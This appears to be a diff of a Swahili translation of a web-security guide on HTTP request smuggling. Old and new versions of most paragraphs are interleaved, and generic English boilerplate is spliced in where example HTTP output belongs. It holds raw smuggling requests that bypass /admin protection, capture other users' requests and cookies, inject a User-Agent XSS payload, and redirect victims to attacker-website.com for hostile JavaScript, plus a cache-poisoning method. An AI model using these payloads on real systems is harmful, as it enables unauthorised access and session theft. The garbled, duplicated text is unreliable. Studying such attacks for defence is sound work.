Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuhakikisha ikiwa maombi ya mteja yanaweza kudhibitiwa. Njia rahisi ni kujaribu kuharibu maombi yako, kwa mfano, kufanya ombi kwa `/` kutoa jibu la 404. Mifano ya `CL.TE` na `TE.CL` iliyozungumziwa hapo awali katika [Mifano Muhimu](./#mifano-muhimu) inaonyesha jinsi ya kuharibu ombi la mteja ili kupata jibu la 404, licha ya mteja kutaka kupata rasilimali tofauti.
|
||||
Baada ya kuthibitisha ufanisi wa mbinu za wakati, ni muhimu kuthibitisha ikiwa maombi ya mteja yanaweza kudhibitiwa. Mbinu rahisi ni kujaribu kudhoofisha maombi yako, kwa mfano, kufanya ombi kwa `/` kutoe majibu ya 404. Mifano ya `CL.TE` na `TE.CL` iliyozungumziwa hapo awali katika [Mifano ya Msingi](./#mifano-ya-msingi) inaonyesha jinsi ya kudhoofisha ombi la mteja ili kupata majibu ya 404, licha ya mteja kutaka kupata rasilimali tofauti.
|
||||
|
||||
**Mambo Muhimu**
|
||||
|
||||
Wakati unajaribu udhaifu wa uvujaji wa ombi kwa kuingilia kati na maombi mengine, kumbuka:
|
||||
Wakati wa kujaribu udhaifu wa uvujaji wa ombi kwa kuingilia kati maombi mengine, kumbuka:
|
||||
|
||||
* **Miunganisho ya Mtandao Iliyotofautishwa:** Maombi ya "shambulio" na "kawaida" yanapaswa kutumwa kupitia miunganisho tofauti ya mtandao. Kutumia uunganisho sawa kwa maombi yote haihakikishi uwepo wa udhaifu.
|
||||
* **URL na Vigezo Thabiti:** Jaribu kutumia URL na majina sawa ya vigezo kwa maombi yote. Programu za kisasa mara nyingi hurekebisha maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kulinganisha hizi kunaweza kuongeza uwezekano wa maombi yote kusindika na seva ile ile, ambayo ni sharti la shambulio la mafanikio.
|
||||
* **Wakati na Hali za Mashindano:** Ombi la "kawaida", lililokusudiwa kugundua kuingiliwa na ombi la "shambulio", linashindana na maombi mengine yanayofanywa wakati huo huo. Kwa hivyo, tuma ombi la "kawaida" mara moja baada ya ombi la "shambulio". Programu zilizojaa zinaweza kuhitaji majaribio mengi ili kuthibitisha udhaifu kwa uhakika.
|
||||
* **Changamoto za Kusawazisha Mzigo:** Seva za mbele zinazofanya kazi kama wasambazaji wa mzigo zinaweza kugawa maombi kwa mifumo tofauti ya nyuma. Ikiwa maombi ya "shambulio" na "kawaida" yanamalizikia kwenye mifumo tofauti, shambulio halitafanikiwa. Hali hii ya kusawazisha mzigo inaweza kuhitaji majaribio kadhaa ili kuthibitisha udhaifu.
|
||||
* **Athari Isiyokusudiwa kwa Mtumiaji:** Ikiwa shambulio lako linaathiri ombi la mtumiaji mwingine (sio ombi la "kawaida" ulilotuma kwa kugundua), hii inaonyesha kuwa shambulio lako limeathiri mtumiaji mwingine wa programu. Jaribio la mara kwa mara linaweza kuvuruga watumiaji wengine, na hivyo kuhitaji tahadhari.
|
||||
* **Mawasiliano Tofauti ya Mtandao:** Maombi ya "shambulio" na "kawaida" yanapaswa kutumwa kupitia mawasiliano tofauti ya mtandao. Kutumia mawasiliano sawa kwa yote mawili haidhibitishi uwepo wa udhaifu.
|
||||
* **URL na Vigezo Thabiti:** Lengo ni kutumia URLs na majina ya vigezo sawa kwa maombi yote. Programu za kisasa mara nyingi hurekebisha maombi kwa server za nyuma maalum kulingana na URL na vigezo. Kufanana huku kunaweza kuongeza uwezekano wa maombi yote kusindika na server ile ile, sharti la shambulio la mafanikio.
|
||||
* **Wakati na Hali za Mashindano:** Ombi la "kawaida," lililolenga kugundua kuingilia kati kutoka kwa ombi la "shambulio," linashindana na maombi mengine ya programu yanayofanyika wakati huo huo. Hivyo, tuma ombi la "kawaida" mara moja baada ya kutuma ombi la "shambulio." Programu zilizojaa zinaweza kuhitaji majaribio mengi kwa uthibitisho wa udhaifu.
|
||||
* **Changamoto za Usawa wa Mzigo:** Server za mbele zinazofanya kazi kama mizani ya mzigo zinaweza kusambaza maombi kwa mifumo tofauti ya nyuma. Ikiwa maombi ya "shambulio" na "kawaida" yanamalizikia kwenye mifumo tofauti, shambulio halitafanikiwa. Upande huu wa usawa wa mzigo unaweza kuhitaji majaribio kadhaa kuthibitisha udhaifu.
|
||||
* **Athari Isiyotarajiwa kwa Mtumiaji:** Ikiwa shambulio lako linaathiri ombi la mtumiaji mwingine (si ombi la "kawaida" ulilotuma kwa kugundua), hii inaonyesha shambulio lako lilimwathiri mtumiaji mwingine wa programu. Majaribio ya mara kwa mara yanaweza kuvuruga watumiaji wengine, hivyo inahitaji kukaribia kwa tahadhari.
|
||||
|
||||
## Kutumia Uvujaji wa Ombi la HTTP
|
||||
|
||||
## Kufanya Uvujaji wa Ombi la HTTP
|
||||
### Kupita Udhibiti wa Ulinzi wa Mbele
|
||||
|
||||
### Kudukua Udhibiti wa Usalama wa Mbele
|
||||
### Kuzunguka Ulinzi wa Mbele kupitia Uvujaji wa Ombi la HTTP
|
||||
|
||||
### Kuzunguka Udhibiti wa Usalama wa Mbele kupitia Uvujaji wa Ombi la HTTP
|
||||
Maranyingi, mabara ya mbele hutekeleza hatua za usalama, kuchunguza maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kuzungukwa kwa kutumia Uvujaji wa Ombi la HTTP, kuruhusu ufikiaji usioruhusiwa kwenye maeneo yaliyozuiliwa. Kwa mfano, kupata `/admin` kunaweza kuzuiwa kwa nje, na mbara ya mbele ikizuia kwa bidii majaribio kama hayo. Hata hivyo, mbara hii inaweza kusahau kuchunguza maombi yaliyofichwa ndani ya ombi la HTTP lililovuja, kuacha mwanya wa kuzunguka vizuizi hivi.
|
||||
|
||||
Marafiki, mara nyingi, wakala wa mbele hutekeleza hatua za usalama, ukaguzi wa maombi yanayoingia. Walakini, hatua hizi zinaweza kuzungukwa kwa kudukua Uvujaji wa Ombi la HTTP, kuruhusu ufikiaji usiohalali kwa sehemu zilizozuiwa. Kwa mfano, kufikia `/admin` inaweza kuwa imezuiwa kwa upande wa nje, na wakala wa mbele akizuia kwa bidii jaribio kama hilo. Walakini, wakala huyu anaweza kusahau kuchunguza maombi yaliyomo ndani ya ombi la HTTP lililodukuliwa, kuacha mwanya wa kuzunguka vizuizi hivi.
|
||||
|
||||
Fikiria mifano ifuatayo inayoonyesha jinsi Uvujaji wa Ombi la HTTP unaweza kutumika kuzunguka udhibiti wa usalama wa mbele, haswa kwa kulenga njia ya `/admin` ambayo kwa kawaida inalindwa na wakala wa mbele:
|
||||
Fikiria mifano ifuatayo inayoonyesha jinsi Uvujaji wa Ombi la HTTP unaweza kutumika kuzunguka udhibiti wa usalama wa mbele, kwa kuzilenga hasa njia ya `/admin` ambayo kawaida hulindwa na mbara ya mbele:
|
||||
|
||||
**Mfano wa CL.TE**
|
||||
```
|
||||
|
@ -265,7 +277,7 @@ Content-Length: 10
|
|||
|
||||
x=
|
||||
```
|
||||
Katika shambulio la CL.TE, kichwa cha habari cha `Content-Length` kinatumika kwa ombi la awali, wakati ombi lililofungwa linatumia kichwa cha habari cha `Transfer-Encoding: chunked`. Mfumo wa mbele wa proksi unaprocess ombi la awali la `POST` lakini hauangalii ombi lililofungwa la `GET /admin`, kuruhusu ufikiaji usiohalali kwa njia ya `/admin`.
|
||||
Katika shambulio la CL.TE, kichwa cha `Content-Length` kinatumika kwa ombi la awali, wakati ombi lililofichwa linatumia kichwa cha `Transfer-Encoding: chunked`. Proksi ya mbele inaprocess ombi la awali la `POST` lakini haiwezi kuchunguza ombi lililofichwa la `GET /admin`, kuruhusu ufikiaji usioruhusiwa kwenye njia ya `/admin`.
|
||||
|
||||
**Mfano wa TE.CL**
|
||||
```
|
||||
|
@ -283,13 +295,13 @@ a=x
|
|||
0
|
||||
|
||||
```
|
||||
Kinyume chake, katika shambulio la TE.CL, ombi la awali la `POST` linatumia `Transfer-Encoding: chunked`, na ombi lililofichwa baadaye linashughulikiwa kulingana na kichwa cha `Content-Length`. Kama ilivyo kwa shambulio la CL.TE, mtoa huduma wa mbele anapuuza ombi lililofichwa la `GET /admin`, kwa bahati mbaya kutoa ufikiaji kwa njia ya `/admin` iliyozuiwa.
|
||||
Kinyume chake, katika shambulio la TE.CL, ombi la kwanza la `POST` hutumia `Transfer-Encoding: chunked`, na ombi lililofichwa baadaye hupitishwa kulingana na kichwa cha `Content-Length`. Kama shambulio la CL.TE, mtoa huduma wa mbele hupuuza ombi lililofichwa la `GET /admin`, kwa kosa kutoa ufikivu kwa njia iliyozuiwa ya `/admin`.
|
||||
|
||||
### Kufichua upya wa ombi la mbele la mbele <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Kufichua upya wa ombi la mbele la seva <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Programu nyingi hutumia **seva ya mbele** kurekebisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Kubadilisha kawaida kunahusisha kuongeza vichwa, kama vile `X-Forwarded-For: <IP ya mteja>`, ili kuwasilisha IP ya mteja kwa seva ya nyuma. Kuelewa mabadiliko haya kunaweza kuwa muhimu, kwani inaweza kufichua njia za **kupita kinga** au **kugundua habari au vituo vilivyofichwa**.
|
||||
Maombi mara nyingi hutumia **seva ya mbele** kurekebisha maombi yanayoingia kabla ya kuyapeleka kwa seva ya nyuma. Kubadilisha kawaida hujumuisha kuongeza vichwa, kama vile `X-Forwarded-For: <IP ya mteja>`, kupeleka IP ya mteja kwa seva ya nyuma. Kuelewa mabadiliko haya ni muhimu, kwani inaweza kufunua njia za **kupita kinga** au **kufichua habari au vituo vilivyofichwa**.
|
||||
|
||||
Ili kuchunguza jinsi mtoa huduma anavyobadilisha ombi, tafuta parameter ya POST ambayo seva ya nyuma inarudisha katika jibu. Kisha, tengeneza ombi, ukitumia parameter hii mwisho, kama ifuatavyo:
|
||||
Ili kuchunguza jinsi mtoa huduma anavyobadilisha ombi, tafuta parameter ya POST ambayo seva ya nyuma inarudisha kwenye jibu. Kisha, andika ombi, ukitumia parameter hii mwishoni, kama ifuatavyo:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -306,17 +318,17 @@ Content-Length: 100
|
|||
|
||||
search=
|
||||
```
|
||||
Katika muundo huu, sehemu zifuatazo za ombi zinaongezwa baada ya `search=`, ambayo ni parameter inayojitokeza katika jibu. Ujumbe huu utafichua vichwa vya habari vya ombi linalofuata.
|
||||
Katika muundo huu, vipengele vya ombi vinavyofuata huongezwa baada ya `search=`, ambayo ni parameter inayoonekana katika jibu. Uwazi huu utafunua vichwa vya ombi la kufuata.
|
||||
|
||||
Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililofichwa na urefu halisi wa yaliyomo. Ni vyema kuanza na thamani ndogo na kuongeza taratibu, kwani thamani ndogo sana itakata data iliyofichwa, wakati thamani kubwa sana inaweza kusababisha ombi kushindwa.
|
||||
Ni muhimu kulinganisha kichwa cha `Content-Length` cha ombi lililofichwa na urefu halisi wa yaliyomo. Kuanzia na thamani ndogo na kuongeza polepole ni vyema, kwani thamani ya chini sana itakata data iliyofichwa, wakati thamani kubwa sana inaweza kusababisha ombi kushindwa.
|
||||
|
||||
Tekniki hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utafutaji.
|
||||
Mbinu hii pia inatumika katika muktadha wa udhaifu wa TE.CL, lakini ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utafutaji.
|
||||
|
||||
Mbinu hii kimsingi inatumika kuelewa mabadiliko ya ombi yaliyofanywa na wakala wa mbele, kwa kufanya uchunguzi wa kujielekeza.
|
||||
Mbinu hii kimsingi inatumika kuelewa marekebisho ya ombi yaliyofanywa na wakala wa mbele, kimsingi kufanya uchunguzi wa kujielekeza.
|
||||
|
||||
### Kukamata maombi ya watumiaji wengine <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Inawezekana kukamata maombi ya mtumiaji mwingine kwa kuongeza ombi maalum kama thamani ya parameter wakati wa operesheni ya POST. Hapa kuna jinsi hii inavyoweza kufanikishwa:
|
||||
Inawezekana kukamata maombi ya mtumiaji wa pili kwa kuongeza ombi maalum kama thamani ya parameter wakati wa operesheni ya POST. Hapa ndivyo hii inavyoweza kufanikishwa:
|
||||
|
||||
Kwa kuongeza ombi lifuatalo kama thamani ya parameter, unaweza kuhifadhi ombi la mteja linalofuata:
|
||||
```
|
||||
|
@ -338,20 +350,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
|||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
Katika hali hii, **parameteri ya maoni** inakusudiwa kuhifadhi maudhui ndani ya sehemu ya maoni ya chapisho kwenye ukurasa unaopatikana kwa umma. Kwa hivyo, maudhui ya ombi linalofuata yataonekana kama maoni.
|
||||
Katika kesi hii, **parameter ya maoni** inalenga kuhifadhi maudhui ndani ya sehemu ya maoni kwenye ukurasa ulio wazi kwa umma. Kwa hivyo, maudhui ya ombi la kufuatia yataonekana kama maoni.
|
||||
|
||||
Hata hivyo, njia hii ina vikwazo. Kwa ujumla, inakamata data hadi kwenye kizuizi cha parameteri kilichotumiwa katika ombi lililopitishwa. Kwa fomu zilizofanywa kuwa URL-encoded, kizuizi hiki ni herufi `&`. Hii inamaanisha kuwa maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji wa mwathiriwa yatasimama kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa utafutaji.
|
||||
Hata hivyo, mbinu hii ina vikwazo. Kwa ujumla, inakamata data hadi kufikia kizuizi cha parameter kilichotumika katika ombi lililosafirishwa. Kwa maingizo ya fomu zilizoorodheshwa kwenye URL, kizuizi hiki ni herufi ya `&`. Hii inamaanisha maudhui yaliyokamatwa kutoka kwa ombi la mtumiaji wa mwathiriwa yatasimama kwenye `&` ya kwanza, ambayo inaweza hata kuwa sehemu ya mfuatano wa utafutaji.
|
||||
|
||||
Aidha, ni muhimu kutambua kuwa njia hii pia inafaa na udhaifu wa TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali herufi za mstari mpya, thamani zitaongezwa kwenye parameteri ya utafutaji.
|
||||
Zaidi ya hayo, ni muhimu kutambua kuwa njia hii pia inafaa na udhaifu wa TE.CL. Katika hali kama hizo, ombi linapaswa kumalizika na `search=\r\n0`. Bila kujali wahusika wa mstari mpya, thamani zitaongezwa kwenye parameter ya utafutaji.
|
||||
|
||||
### Kutumia udukuzi wa ombi la HTTP kuathiri XSS iliyorejelewa
|
||||
### Kutumia uchakachuaji wa ombi la HTTP kudanganya XSS iliyoreflektiwa
|
||||
|
||||
Udukuzi wa Ombi la HTTP unaweza kutumika kuathiri kurasa za wavuti zilizo hatarini kwa **XSS iliyorejelewa**, na kutoa faida kubwa:
|
||||
Uchakachuaji wa Ombi la HTTP unaweza kutumika kudanganya kurasa za wavuti zenye udhaifu wa **XSS iliyoreflektiwa**, kutoa faida kubwa:
|
||||
|
||||
* Hakuhitaji **mwingiliano na watumiaji walengwa**.
|
||||
* Inaruhusu udukuzi wa XSS katika sehemu za ombi ambazo kwa kawaida hazipatikani, kama vile vichwa vya ombi la HTTP.
|
||||
* Mwingiliano na watumiaji lengwa **hauna hitajika**.
|
||||
* Inaruhusu kutumia XSS katika sehemu za ombi ambazo kawaida hazipatikani, kama vile vichwa vya ombi la HTTP.
|
||||
|
||||
Katika hali ambapo wavuti inaweza kuathiriwa na XSS iliyorejelewa kupitia kichwa cha User-Agent, mzigo wa kufuatia unadhihirisha jinsi ya kutumia udhaifu huu:
|
||||
Katika mazingira ambapo tovuti inaweza kuathiriwa na XSS iliyoreflektiwa kupitia kichwa cha Mtumiaji, mzigo wa kufuatia unadhihirisha jinsi ya kutumia udhaifu huu:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
|
@ -372,66 +384,29 @@ Content-Type: application/x-www-form-urlencoded
|
|||
|
||||
A=
|
||||
```
|
||||
Mzigo huu umepangwa kuathiri udhaifu kwa:
|
||||
Payload hii imeundwa kwa kufaidika na udhaifu kwa:
|
||||
|
||||
1. Kuanzisha ombi la `POST`, kwa kuonekana kawaida, na kichwa cha `Transfer-Encoding: chunked` kuonyesha kuanza kwa smuggling.
|
||||
2. Kufuatiwa na `0`, kuashiria mwisho wa mwili wa ujumbe wa chunked.
|
||||
3. Kisha, ombi la `GET` lililosafirishwa linawasilishwa, ambapo kichwa cha `User-Agent` kimeingizwa na script, `<script>alert(1)</script>`, kusababisha XSS wakati seva inapoprocess ombi hili la pili.
|
||||
1. Kuanzisha ombi la `POST`, linaloonekana kawaida, na kichwa cha `Transfer-Encoding: chunked` kuonyesha kuanza kwa smuggling.
|
||||
2. Kufuatiwa na `0`, ikionyesha mwisho wa mwili wa ujumbe wa chunked.
|
||||
3. Kisha, ombi la `GET` lililosafirishwa linajumuishwa, ambapo kichwa cha `User-Agent` kimeingizwa na script, `<script>alert(1)</script>`, kuzindua XSS wakati server inapoprocess ombi hili linalofuata.
|
||||
|
||||
Kwa kubadilisha `User-Agent` kupitia smuggling, mzigo huu unapita kizuizi cha ombi kawaida, hivyo kuathiri udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
|
||||
Kwa kubadilisha `User-Agent` kupitia smuggling, payload inapita kwa kawaida kikwazo cha ombi, hivyo kutumia udhaifu wa Reflected XSS kwa njia isiyo ya kawaida lakini yenye ufanisi.
|
||||
|
||||
### Kutumia smuggling ya ombi la HTTP kubadilisha upya kwenye tovuti kuwa upya wazi <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||
### Kutumia smuggling ya ombi la HTTP kugeuza upya wa ndani kuwa upya wa wazi <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
|
||||
|
||||
### Kudukua Upya kwenye Tovuti kwa Kutumia Smuggling ya Ombi la HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### Kufaidika na Upya wa Ndani kwa Kutumia Smuggling ya Ombi la HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Programu mara nyingi hurekebisha kutoka kwenye URL moja hadi nyingine kwa kutumia jina la mwenyeji kutoka kwa kichwa cha `Host` katika URL ya upya. Hii ni kawaida kwa seva za wavuti kama Apache na IIS. Kwa mfano, kuomba saraka bila mstari wa mwisho kunasababisha upya ili kuongeza mstari wa mwisho:
|
||||
Maombi mara nyingi hurekebisha kutoka kwa URL moja hadi nyingine kwa kutumia jina la mwenyeji kutoka kichwa cha `Host` katika URL ya upyaisho. Hii ni kawaida na seva za wavuti kama Apache na IIS. Kwa mfano, kuomba folda bila mstari wa mwisho husababisha upya kujumuisha mstari wa mwisho:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
```
|
||||
# HTTP Request Smuggling
|
||||
|
||||
This technique allows an attacker to manipulate the way a front-end and back-end server interpret HTTP requests, leading to potential security vulnerabilities. By exploiting inconsistencies in how different servers handle request parsing, an attacker can smuggle malicious requests that bypass security measures.
|
||||
|
||||
## How it works
|
||||
|
||||
HTTP Request Smuggling takes advantage of the differences in how front-end and back-end servers interpret HTTP requests. The attack involves sending a specially crafted request that is interpreted differently by the two servers.
|
||||
|
||||
The attack typically involves two HTTP requests: a "smuggled" request and a "smuggling" request. The smuggled request is designed to be interpreted differently by the front-end and back-end servers. The smuggling request is used to manipulate the way the servers interpret the smuggled request.
|
||||
|
||||
The attack relies on various techniques, such as:
|
||||
|
||||
- **Header Splitting**: Manipulating headers to create multiple requests within a single HTTP request.
|
||||
- **Content-Length Mismatch**: Sending a request with a Content-Length header that does not match the actual length of the request body.
|
||||
- **Transfer-Encoding Mismatch**: Sending a request with a Transfer-Encoding header that does not match the actual encoding of the request body.
|
||||
|
||||
## Impact
|
||||
|
||||
HTTP Request Smuggling can have serious security implications, including:
|
||||
|
||||
- **Request Smuggling**: An attacker can smuggle malicious requests that bypass security measures, potentially leading to unauthorized access or data leakage.
|
||||
- **Cache Poisoning**: By manipulating the way requests are interpreted, an attacker can poison the cache and serve malicious content to users.
|
||||
- **Session Hijacking**: Exploiting request smuggling vulnerabilities can allow an attacker to hijack user sessions and impersonate legitimate users.
|
||||
|
||||
## Mitigation
|
||||
|
||||
To protect against HTTP Request Smuggling attacks, consider the following mitigation techniques:
|
||||
|
||||
- **Request Parsing Consistency**: Ensure that front-end and back-end servers interpret HTTP requests consistently.
|
||||
- **Request Validation**: Implement strict request validation to detect and reject malformed or suspicious requests.
|
||||
- **Security Headers**: Use security headers, such as Content-Length and Transfer-Encoding, correctly and consistently.
|
||||
- **Web Application Firewall (WAF)**: Deploy a WAF to detect and block HTTP Request Smuggling attacks.
|
||||
- **Regular Security Audits**: Conduct regular security audits to identify and address any vulnerabilities in the application.
|
||||
|
||||
## References
|
||||
|
||||
- [PortSwigger - HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)
|
||||
- [OWASP - HTTP Request Smuggling](https://owasp.org/www-community/attacks/HTTP_Request_Smuggling)
|
||||
Matokeo ni:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
Ingawa inaonekana kuwa isiyo na madhara, tabia hii inaweza kudhibitiwa kwa kutumia udukuzi wa ombi la HTTP ili kuwaongoza watumiaji kwenye tovuti ya nje. Kwa mfano:
|
||||
Ingawa inaonekana kuwa isiyo na madhara, tabia hii inaweza kudanganywa kwa kutumia upenyezaji wa ombi la HTTP ili kuwaongoza watumiaji kwenye tovuti ya nje. Kwa mfano:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
|
@ -445,68 +420,31 @@ GET /home HTTP/1.1
|
|||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
Hii ombi lililokwepa linaweza kusababisha ombi la mtumiaji lililopita kusambazwa kwenye tovuti inayodhibitiwa na mshambuliaji:
|
||||
Hii ombi lililosafirishwa linaweza kusababisha ombi la mtumiaji linalofuata kusindika kupelekwa kwenye tovuti inayodhibitiwa na mshambuliaji:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: XGET /scripts/include.js HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
```
|
||||
# HTTP Request Smuggling
|
||||
|
||||
This technique allows an attacker to manipulate the way a front-end and back-end server interpret HTTP requests, leading to potential security vulnerabilities. By exploiting inconsistencies in how different servers handle request parsing, an attacker can smuggle malicious requests that bypass security measures.
|
||||
|
||||
## How it works
|
||||
|
||||
HTTP Request Smuggling takes advantage of the differences in how front-end and back-end servers interpret HTTP requests. The attack involves sending a specially crafted request that is interpreted differently by the two servers.
|
||||
|
||||
The attack typically involves two HTTP requests: a "smuggled" request and a "smuggling" request. The smuggled request is designed to be interpreted differently by the front-end and back-end servers. The smuggling request is used to manipulate the way the servers interpret the smuggled request.
|
||||
|
||||
The attack relies on various techniques, such as:
|
||||
|
||||
- **Header Splitting**: Manipulating headers to create multiple requests within a single HTTP request.
|
||||
- **Content-Length Mismatch**: Sending a request with a Content-Length header that does not match the actual length of the request body.
|
||||
- **Transfer-Encoding Mismatch**: Sending a request with a Transfer-Encoding header that does not match the actual encoding of the request body.
|
||||
|
||||
## Impact
|
||||
|
||||
HTTP Request Smuggling can have serious security implications, including:
|
||||
|
||||
- **Request Smuggling**: An attacker can smuggle malicious requests that bypass security measures, potentially leading to unauthorized access, data leakage, or remote code execution.
|
||||
- **Cache Poisoning**: By manipulating the way requests are interpreted, an attacker can poison the cache and serve malicious content to users.
|
||||
- **Session Hijacking**: By manipulating the way requests are interpreted, an attacker can hijack user sessions and impersonate legitimate users.
|
||||
|
||||
## Mitigation
|
||||
|
||||
To mitigate the risk of HTTP Request Smuggling, consider the following measures:
|
||||
|
||||
- **Web Application Firewall (WAF)**: Implement a WAF that can detect and block HTTP Request Smuggling attacks.
|
||||
- **Secure Configuration**: Ensure that front-end and back-end servers are properly configured to handle HTTP requests and prevent request smuggling.
|
||||
- **Regular Updates**: Keep servers and web applications up to date with the latest security patches to mitigate known vulnerabilities.
|
||||
- **Input Validation**: Implement strict input validation to prevent malicious requests from being processed.
|
||||
- **Security Testing**: Conduct regular security testing, including penetration testing, to identify and address any vulnerabilities.
|
||||
|
||||
## References
|
||||
|
||||
- [PortSwigger - HTTP Request Smuggling](https://portswigger.net/web-security/request-smuggling)
|
||||
- [OWASP - HTTP Request Smuggling](https://owasp.org/www-community/attacks/HTTP_Request_Smuggling)
|
||||
Matokeo ni:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
Katika hali hii, ombi la mtumiaji kwa faili ya JavaScript linatekwa. Mshambuliaji anaweza kuhatarisha mtumiaji kwa kutoa JavaScript mbaya kama jibu.
|
||||
Katika kesi hii, ombi la mtumiaji la faili ya JavaScript linatekwa. Mshambuliaji anaweza kudhoofisha mtumiaji kwa kutoa JavaScript yenye nia mbaya kama jibu.
|
||||
|
||||
### Kutumia udanganyifu wa ombi la HTTP kufanya sumu ya hifadhi ya wavuti <a href="#kutumia-udanganyifu-wa-ombi-la-http-kufanya-sumu-ya-hifadhi-ya-wavuti" id="kutumia-udanganyifu-wa-ombi-la-http-kufanya-sumu-ya-hifadhi-ya-wavuti"></a>
|
||||
### Kutumia udukuzi wa ombi la HTTP kutekeleza sumu ya cache ya wavuti <a href="#using-http-request-smuggling-to-perform-web-cache-poisoning" id="using-http-request-smuggling-to-perform-web-cache-poisoning"></a>
|
||||
|
||||
### Kudanganya Sumu ya Hifadhi ya Wavuti kupitia Udanganyifu wa Ombi la HTTP <a href="#kudanganya-sumu-ya-hifadhi-ya-wavuti-kupitia-udanganyifu-wa-ombi-la-http" id="kudanganya-sumu-ya-hifadhi-ya-wavuti-kupitia-udanganyifu-wa-ombi-la-http"></a>
|
||||
### Kutumia Udukuzi wa Sumu ya Cache ya Wavuti kupitia Udukuzi wa Ombi la HTTP <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Sumu ya hifadhi ya wavuti inaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele inahifadhi yaliyomo**, kawaida ili kuongeza utendaji. Kwa kubadilisha jibu la seva, inawezekana **kufanya sumu ya hifadhi**.
|
||||
Sumu ya cache ya wavuti inaweza kutekelezwa ikiwa sehemu yoyote ya **miundombinu ya mbele inahifadhi yaliyomo**, kawaida kuboresha utendaji. Kwa kubadilisha jibu la seva, inawezekana **kudhoofisha cache**.
|
||||
|
||||
Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (angalia [Mifano ya Msingi](./#mifano-ya-msingi)). Vivyo hivyo, ni rahisi kudanganya seva ili kutoa yaliyomo ya `/index.html` kama jibu kwa ombi la `/static/include.js`. Kwa hivyo, yaliyomo ya `/static/include.js` yanabadilishwa katika hifadhi na yale ya `/index.html`, ikifanya `/static/include.js` kuwa haipatikani kwa watumiaji, na kusababisha uwezekano wa Kukataa Huduma (DoS).
|
||||
Awali, tuliona jinsi majibu ya seva yanaweza kubadilishwa ili kurudisha kosa la 404 (angalia [Mifano ya Msingi](./#basic-examples)). Vivyo hivyo, ni rahisi kudanganya seva kutoa yaliyomo ya `/index.html` kama jibu kwa ombi la `/static/include.js`. Kwa hivyo, yaliyomo ya `/static/include.js` yanabadilishwa kwenye cache na ile ya `/index.html`, ikifanya `/static/include.js` kuwa haipatikani kwa watumiaji, na kusababisha Uzuiaji wa Huduma (DoS) kwa uwezekano.
|
||||
|
||||
Mbinu hii inakuwa hasa yenye nguvu ikiwa kuna **mdhaifu wa Uelekezaji wa Wazi** uliogunduliwa au ikiwa kuna **uelekezaji kwenye wavuti kwenda kwa uelekezaji wazi**. Mdhaifu kama huo unaweza kutumiwa kubadilisha yaliyomo yaliyohifadhiwa ya `/static/include.js` na hati inayodhibitiwa na mshambuliaji, kimsingi kuwezesha shambulio la Kuvuka Tovuti (XSS) kwa wateja wote wanaotaka `/static/include.js` iliyosasishwa.
|
||||
Mbinu hii inakuwa yenye nguvu hasa ikiwa **Udhaifu wa Kuelekeza Wazi** unagunduliwa au ikiwa kuna **uelekezaji kwenye wavuti kwenda kwa kuelekeza wazi**. Udhaifu kama huo unaweza kutumika kubadilisha yaliyomo yaliyohifadhiwa ya `/static/include.js` na skripti chini ya udhibiti wa mshambuliaji, kimsingi kuwezesha shambulio kubwa la Kuvuka Tovuti (XSS) dhidi ya wateja wote wanaotaka `/static/include.js` iliyosasishwa.
|
||||
|
||||
